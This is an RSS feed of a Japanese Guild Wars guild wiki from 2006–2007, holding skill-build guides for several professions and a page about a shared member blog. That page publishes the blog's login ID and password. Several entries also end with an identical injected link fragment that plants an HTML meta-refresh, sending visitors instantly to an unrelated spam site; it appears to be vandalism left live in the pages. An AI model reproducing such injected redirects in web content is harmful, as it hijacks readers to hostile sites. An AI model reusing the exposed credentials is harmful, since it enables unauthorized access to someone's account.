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    <title>紅の般若 [ＭｏＣ]</title>
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    <description>紅の般若 [ＭｏＣ]</description>

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    <title>メンバーblogについて</title>
    <link>https://w.atwiki.jp/hannya/pages/90.html</link>
    <description>
      カリが最近BBSに日記を書いているようなので
自由に使える[[blog]]を作りました。

その他にも情報の交換などに使えるかなと思ってます。



使用方法


まずログインしてください。
http://blog.fc2.com/

ユーザーID
「moc078」
パスワード
「hannya」



あとはﾒﾝﾄﾞｸｾｰからQ&amp;amp;Aとかを嫁(&amp;#039;A`)

記事を書く人は「カテゴリーの編集」で自分の名前を登録して選択してください。

書き終わったらログアウトしてください。


あとgwbb on blogに対応させてますので使いたい方は
http://omomom.celes.cc/viewtopic.php?t=221
「gwbbコードによる記述」というところをﾁｪｷﾗ

記事を書くときは

&amp;lt;span class=&amp;quot;gwbb&amp;quot;&amp;gt;[build=ﾃﾝﾌﾟﾚｺｰﾄﾞ]&amp;lt;/span&amp;gt;[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:47:47+09:00</dc:date>
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    <item rdf:about="https://w.atwiki.jp/hannya/pages/89.html">
    <title>てすと/お絵かき掲示板ログ/1</title>
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#comment

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    <dc:date>2007-02-21T02:21:17+09:00</dc:date>
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  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/87.html">
    <title>Mo</title>
    <link>https://w.atwiki.jp/hannya/pages/87.html</link>
    <description>
      HA Moについて


6人制になり、ｺﾚまでのMo3からMo2が基本となりました。

基本的にヒーラーとプロテクで構成します。


 
①ヒーラー

特性
ﾋｰﾘﾝｸﾞ16


・WoH型
1.ヒーリングワード[EL] 
2.ヒーリングオリゾン 
3.インフューズヘルス 
4.ヒーリングタッチ 
5.ヒーリングシード 
6.ドワイナキス・コンフォートワード等 
7.マントラ系
8.チャネリング 

・ﾗｲﾄｸﾞﾘﾏｰ型
1.ライトグリマー[EL] 
2.ドワイナキス 
3.インフューズヘルス 
4.ヒーリングタッチ 
5.ヒーリングシード 
6.ヒールアザー・ヒールパーティ等 
7.マントラ系 
8.チャネリング 

・ﾋｰﾗｰﾌﾞｰﾝ型
1.ヒーリングオリゾン 
2.ドワイナキス 
3.ヒールアザー 
4.ヒーリングタッチ 
5.ヒーリングシード 
6.ヒーラーブーン[EL] 
7.マントラ系 
8.チャネリング 

・ﾃﾞﾘﾊﾞﾗﾝｽﾗｲﾄ型
1.ヒールアザー 
2.ヒーリングオリゾン 
3.インフューズヘルス 
4.ヒーリングタッチ 
5.ヒーリングシード 
6.デリバランス ライト[EL] 
7.マントラ系 
8.チャネリング 



②プロテク

・RC型
1.レストアコンディション[EL] 
2.フォーチューンリバーサル 
3.プロテクティブスピリット 
4.ガーディアン 
5.ヘルスギフト 
6.インスパイアヘックス 
7.マントラ系 
8.チャネリング 

・ｾﾞﾗｽﾍﾞﾈﾃﾞｨｸｼｮﾝ型
1.ゼラスベネディクション[EL] 
2.フォーチューンリバーサル 
3.プロテクティブスピリット 
4.ガーディアン 
5.ディスミスコンディション 
6.インスパイアヘックス 
7.マントラ系 
8.チャネリング

・ﾃﾞｨﾊﾞｰﾄﾍｯｸｽ型
1.ディスミスコンディション 
2.フォーチューンリバーサル 
3.プロテクティブスピリット 
4.ガーディアン 
5.ヘルスギフト 
6.ディバートヘックス[EL] 
7.マントラ系 
8.チャネリング

・ﾌﾞﾚｽﾗｲﾄ型
1.ブレスライ    </description>
    <dc:date>2007-12-09T22:47:41+09:00</dc:date>
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  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/86.html">
    <title>ｱｻｼﾝ</title>
    <link>https://w.atwiki.jp/hannya/pages/86.html</link>
    <description>
      ※ﾜｼ(影)の主観で書いている為、鵜呑み注意

C2より追加された前衛職
Wと違ってｱﾄﾞﾚﾅﾘﾝではなくENを消費するｽｷﾙがほとんどなので攻撃ｽﾀｲﾙはまるで違うことに注意。

更に防御力や盾が持てないといった事から、うかつに突っ込むと即効で死んでしまう事にも注意。

ｽｷﾙ＆防御特性から見ても分かるように、攻撃は張り付くのではなく、ﾀﾞｶﾞｰｺﾝﾎﾞをいれたらﾘﾁｬｰｼﾞが終わるまで離脱するｽﾀｲﾙが最良と思われる。

また他職との相性もそれ程良い訳ではなく、各ｽｷﾙの内容とも照らし合わせてみると、単独行動が適しているのだが、慣れないと速攻で死んでしまうので注意。

上記の性質から全力戦が多くMAPも狭い丘ではほとんど見ない職である。
（c3では大活躍中）    </description>
    <dc:date>2007-03-27T10:28:01+09:00</dc:date>
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  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/85.html">
    <title>ﾚﾝｼﾞｬｰ</title>
    <link>https://w.atwiki.jp/hannya/pages/85.html</link>
    <description>
      ※ﾜｼ(影)の主観で書いてるので鵜呑み注意

ｴｷｽﾊﾟｰﾃｨ特性によるｽｷﾙEN消費現象により、ｻﾌﾞ職の組み合わせが幅広いのが特徴。

主流であったｸﾘｯﾌﾟﾙｼｮｯﾄがC3のW新ｽｷﾙ「ｵｰﾙｱﾛｰﾝ」の出現により霞んでしまった感あり。

だがC3追加ｽｷﾙによる恩恵もあり、ﾊﾞｰﾝｱﾛｰ＆ｽｸﾘｰﾑｼｮｯﾄ＆ｱﾌﾟﾗｲ毒によるDOT14攻撃での与ﾀﾞﾒｰｼﾞ性能の上昇や

ｻﾌﾞDにしてｸﾞﾚﾝｽｸﾞﾗｽﾌﾟを併用する事でのEN消費を抑えた高回転鈍足攻撃等組めるようになったので、ﾋﾞﾙﾄﾞの枠はかなり広がった感じ。

C3以降大系すると以下のﾀｲﾌﾟに分かれる
①接近戦型：ﾗﾝﾍﾟｲｼﾞｱｽﾞﾜﾝ使用による高火力ﾊﾝﾏｰ攻め

②弓攻撃型：中断＆DOT攻(毒出血火傷)、中断＆攻撃補助ｽﾍﾟﾙ併用(ｻﾌﾞMe、ｻﾌﾞD等)、etc

他にもﾀｯﾁR/Nや精霊を呼びまくるR/Rt等ある

Meと同じく中断攻撃役を勤める事が多いが、当たるまで最低1/2秒かかるのに注意(Meは1/4秒で中断可能)

ただしﾘﾁｬｰｼﾞが短い為、見てから撃つのではなく相手のｽｷﾙを先読みして数撃つのがRの中断攻撃ｽﾀｲﾙと思われる。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:46:57+09:00</dc:date>
    <utime>1197208017</utime>
  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/84.html">
    <title>ﾊﾟﾗｺﾞﾝ</title>
    <link>https://w.atwiki.jp/hannya/pages/84.html</link>
    <description>
      ※ﾜｼ（影）の主観で書いてるので鵜呑み注意

①ｺﾏﾝﾄﾞ系：大系すると攻撃補助か防御補助、ﾍﾙﾌﾟﾐｰの存在ｲﾐﾌ
防御補助主体にするなら16振らないと効果薄いので注意。

②ﾓﾁﾍﾞｰｼｮﾝ系：EN＆HPの回復補助、ｺﾏﾝﾄﾞの防御補助型のように特性16振る必要無し。
10もあれば上等なので槍による攻撃参加もし易い。

③ﾘｰﾀﾞｰｼｯﾌﾟ：ｴｺｰ系というｺﾏﾝﾄﾞもしくはﾓﾁﾍﾞ系ｽｷﾙがないと生きないｽｷﾙ多し(ｴｺｰｽｷﾙはﾁｬﾝﾄ・ｼｬｳﾄが掛かるか切れるかしないと発動しない)ただ全くこれに振らないとﾁｬﾝﾄ・ｼｬｳﾄ使用した際のEN供給ﾎﾞｰﾅｽが付かなくなるので、ある程度特性値確保必要。

④ｽﾋﾟｱ：ENｽｷﾙはｽﾚｲﾔｰｽﾋﾟｱ、ﾗｲﾄﾆﾝｸﾞｽﾋﾟｱが優秀。
ｱﾄﾞﾚﾅﾘﾝｽｷﾙはﾌﾞﾚｲｽﾞｽﾋﾟｱ、ﾜｲﾙﾄﾞｽﾛｰが優秀。

放心攻撃のｽﾀﾝｽﾄﾗｲｸはｱﾄﾞﾚﾅﾘﾝ10必要なのと他に良いELがｺﾏﾝﾄﾞやﾓﾁﾍﾞにあるのでいらない感じだった。

あと各系統全般に言える事だがｱﾄﾞﾚﾅﾘﾝ使用するｽｷﾙはｱｸﾞﾚｯｼﾌﾞﾘﾌﾚｲﾝ持たないと回転が悪すぎるので注意

自己より周囲の味方に影響するｽｷﾙが多いので(自己回復も難しい程である)周囲に味方が多くいないとダメな感じなので、周囲には特に注意する必要あり。    </description>
    <dc:date>2006-11-26T18:40:01+09:00</dc:date>
    <utime>1164534001</utime>
  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/83.html">
    <title>ﾀﾞﾙﾋﾞｰｼｭ</title>
    <link>https://w.atwiki.jp/hannya/pages/83.html</link>
    <description>
      ※ﾜｼ(影)の主観で書いてるので鵜呑み注意

スキルの感じは以下の通り
①ｱｰｽ系：自己回復＆防御、盲目による防御補助

②ｳｨﾝﾄﾞ系：自己回復はｱｰｽより下。不自由や速度ｱｯﾌﾟによる攻撃補助が多い、WとかRのｻﾌﾞ向きな感じ。

③ﾐｽﾃｨｼｽﾞﾑ系：EN供給補助、異常関係の事前防御、ﾌｫｰﾑｽｷﾙでいろいろな能力付与あり

④ｻｲｽﾞ：強化ｽﾍﾟﾙを解除して攻撃するｽｷﾙは攻撃系強化ｽﾍﾟﾙと併用すると瞬間火力は高し、ただし鉄砲弾ｷｬﾗになりかねないのでお勧めしない。

攻撃補助として使えるｸﾘｯﾌﾟﾙｽｨｰﾌﾟや強化ｽﾍﾟﾙ数でﾀﾞﾒｰｼﾞ上乗せされるﾐｽﾃｨｯｸｽｲｰﾌﾟが使いやすかった。
あと同盟戦限定になるだろうが、ﾊﾞﾆｯｼｭｽﾄﾗｲｸが強力だった。

ｱｰｽ系でﾋﾞﾙﾄﾞ組むとWよりﾀﾌな前衛になるのと、鎌による範囲攻撃でﾌﾟﾚｯｼｬｰを与えるのに向いてる感じ。

Moとかの回復ｽｷﾙ持ちはD一人では倒すのが難しい事からもWが点の攻撃役でDは面の攻撃役になるのではないかと思う。

その辺りを考慮すると前衛配置は1人でよさげ。

他職との相性だが、ﾄﾞﾜｲﾅｷｽ持ちのMoや攻撃補助系のPとの相性よし。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:46:01+09:00</dc:date>
    <utime>1197207961</utime>
  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/82.html">
    <title>E</title>
    <link>https://w.atwiki.jp/hannya/pages/82.html</link>
    <description>
      ◎ﾀｲﾌﾟ１：ｼｱｰﾌﾚｲﾑE/Me：火傷＆直接ﾀﾞﾒｰｼﾞ

特性：火16、ｽﾄﾚｰｼﾞ10、ｲﾝｽﾋﾟ9か水10
①ｼｱｰﾌﾚｲﾑ(EL)
②ｸﾞﾛｳｹﾞｲｽﾞ
③ﾘｷｯﾄﾞﾌﾚｲﾑ(水の場合ｽﾁｰﾑもあり)
④ｻｸﾘﾌｧｲｽｸﾞﾘﾌ
⑤ﾒﾃｵｼｬﾜｰ
⑥ﾌｧｲｱｱﾁｭｰﾝ
⑦ﾌﾚｲﾑﾏﾝﾄﾗ(水ならﾌﾘｼﾞｯﾄﾞｱｰﾏｰ)
⑧ﾘｻﾞｼｸﾞ

操作：結構垂れ流し気味でも強いﾋﾞﾙﾄﾞ。いろいろ派生したﾀｲﾌﾟあり（上記のﾋﾞﾙﾄﾞは同ｼｱｰE相手を食うﾋﾞﾙﾄﾞ)

ｻｸﾘﾌｧｲｽ→ﾒﾃｵｺﾝﾎﾞは相手のリザ妨害やGHｸﾚｲﾑﾘｿｰｽ妨害に使うのが基本だが、ﾒﾃｵの火力は高い為、押し込む時に使うのもあり。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:45:40+09:00</dc:date>
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  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/81.html">
    <title>R</title>
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    <description>
      ◎ﾀｲﾌﾟ1：Rampaging ThumperR/W：ﾊﾝﾏｰ野郎

特性：ﾋﾞｰｽﾄ10、ﾊﾝﾏｰ12、ｴｷｽﾊﾟ11
①ﾊﾝﾏｰﾊﾞｯｼｭ
②ｸﾗｯｼｭﾌﾞﾛｳ
③ｲﾚｼﾞｽﾃｨﾌﾞﾙﾌﾞﾛｳ
④ﾃﾞｨｽﾄﾗｸﾄﾌﾞﾛｳ
⑤ﾗﾝﾍﾟｲｼﾞｱｽﾞﾜﾝ(EL)
⑥ﾁｬｰﾑｱﾆﾏﾙ
⑦ｺﾝﾌｫｰﾄｱﾆﾏﾙ
⑧ﾘｻﾞｼｸﾞ

操作：ﾗﾝﾍﾟｲｼﾞｱｽﾞﾜﾝは強力だがEN消費がデカいのでｾﾞﾗｽﾊﾝﾏｰが必要。ｻﾌﾞにｻﾝﾀﾞﾘﾝｸﾞかｳﾞｧﾝﾊﾟｲｱ持てばOK。

前衛の為、押し際引き際の見極めが肝心。ある程度の経験必要と思われる。


◎ﾀｲﾌﾟ２：ﾁｮｰｸｶﾞｽR/W：ばら撒き妨害

特性：ｻﾊﾞｲﾊﾞﾙ12、ﾎﾞｳ12、ｴｷｽﾊﾟ11
①ﾃﾞｨｽﾄﾗｸﾄｼｮｯﾄ
②ｻﾍﾞｰｼﾞｼｮｯﾄ
③ｼｰｸｱﾛｰ
④ﾌﾗｰﾘｨ(もしくはﾌﾚﾝｼﾞ)
⑤ﾌﾟﾗｸﾃｨｽｽﾀﾝｽ(EL)
⑥ﾁｮｰｸｶﾞｽ
⑦ﾃﾞｨﾋﾞﾘﾃｲﾄｼｮｯﾄ
⑧ﾘｻﾞｼｸﾞ

操作：ﾌﾟﾗｸﾃｨｽｽﾀﾝｽ→ﾁｮｰｸｶﾞｽ→ﾌﾗｰﾘｨの順番でスキル使用し、とにかくばら撒く。ﾌﾗｰﾘｨでﾌﾟﾗｸﾃｨｽｽﾀﾝｽは解除されるがﾁｮ-ｸｶﾞｽ使用前に使っていれば延長効果はそのまま掛かってるので問題無し
(次のﾁｮｰｸｶﾞｽｽｷﾙ使用時にはﾌﾟﾗｸﾃｨｽもﾘﾁｬｰｼﾞ済んでいる)

ｼｰｸｱﾛｰは祭壇戦時のGHｸﾚｲﾑﾘｿｰｽ妨害に使用し、確実に中断が当たる様にする。[[@wikiへ&gt;http://kam.jp&quot;&gt;&lt;META HTTP-EQUIV=&quot;Refresh&quot; CONTENT=&quot;0; URL=http://esthe.pink.sh/r/]]    </description>
    <dc:date>2007-12-09T22:45:20+09:00</dc:date>
    <utime>1197207920</utime>
  </item>
    <item rdf:about="https://w.atwiki.jp/hannya/pages/80.html">
    <title>P</title>
    <link>https://w.atwiki.jp/hannya/pages/80.html</link>
    <description>
      ◎ﾀｲﾌﾟ1：ｲﾝｶﾐﾝｸﾞP/Rt：防御ｵﾝﾘｰ

特性：ｺﾏﾝﾄﾞ16、ﾘｰﾀﾞｰ9、ﾚｽﾄﾚｲｼｮﾝ12
①ｲﾝｶﾐﾝｸﾞ(EL)
②ｺﾞｯﾄﾞｽﾋﾟｰﾄﾞ
③ｽﾀﾝﾄﾞﾕｱｸﾞﾗｳﾝﾄﾞ
④ﾈﾊﾞｰｷﾞﾌﾞｱｯﾌﾟ
⑤ﾈﾊﾞｰｻﾚﾝﾀﾞｰ
⑥ﾒｲｸﾕｱﾀｲﾑ
⑦ｳﾞｫｰｶﾙﾜｽﾞｿｺﾞﾛﾝ
⑧ﾘｻﾞｼｸﾞ

操作：ｿｺﾞﾛﾝ→ｲﾝｶﾐﾝｸﾞ＆ｽﾀﾝﾄﾞﾕｱｸﾞﾗｳﾝﾄﾞの順番で必ず使用する。常時灰を持つため攻撃は一切できないので注意。

その代わりに全員にかかるｲﾝｶﾐﾝｸﾞ時間は7→10秒、ｽﾀﾝﾄﾞﾕｱはほぼ常時掛ける事ができるようになる。

ﾈﾊﾞｰｽｷﾙ2種はﾒﾝﾊﾞｰのHPｹﾞｰｼﾞに注意して使用する事。（HP75%以下がいないと無駄になる）

ﾒｲｸﾕｱﾀｲﾑは個人指定ｽｷﾙなのでｲﾝｶﾐﾝｸﾞの効果時間を更に延ばしてやりたい相手に前掛けしておく。(効果時間が14秒になる）
祭壇戦だとｺﾞｰｽﾄﾋｰﾛｰ(以後GH)に掛ける事。


◎ﾀｲﾌﾟ2：ﾚｽﾄﾚｲｼｮﾝｿﾝｸﾞP/etc：攻撃＆回復補助

特性：ｽﾋﾟｱ16、ﾓﾁﾍﾞｰｼｮﾝ10、ﾘｰﾀﾞｰ10
①ﾚｽﾄﾚｲｼｮﾝｿﾝｸﾞ(EL)
②ﾚｽﾄﾚｲｼｮﾝﾊﾞﾗｰﾄﾞ
③ｼﾞｰﾙｱﾘｱ
④ｱｸﾞﾚｯｼﾌﾞﾘﾌﾚｲﾝ
⑤ﾗｲﾄﾆﾝｸﾞｽﾋﾟｱ
⑥ﾜｲﾙﾄﾞｽﾛｰ
⑦ｺﾝｾﾝﾄﾚｰｼｮﾝｿﾝｸﾞ(もしくはﾍｯｸｽﾌﾞﾚｰｶｰｱﾘｱ)
⑧ﾘｻﾞｼｸﾞ

操作：①~③ｽｷﾙは垂れ流し厳禁(EN消費が大きい)
ｽﾋﾟｱ特性が高い為攻撃力もある(ﾗｲﾄﾆﾝｸﾞｽﾋﾟｱで100とか出ます)

攻撃＆回復を両立はしているが、逆を言えばあくまでも補助系の為どちらのｽｷﾙ使用時も他職のｽｷﾙ使用時に合わせて使うようにしないと活躍しないので注意。    </description>
    <dc:date>2006-11-26T16:54:10+09:00</dc:date>
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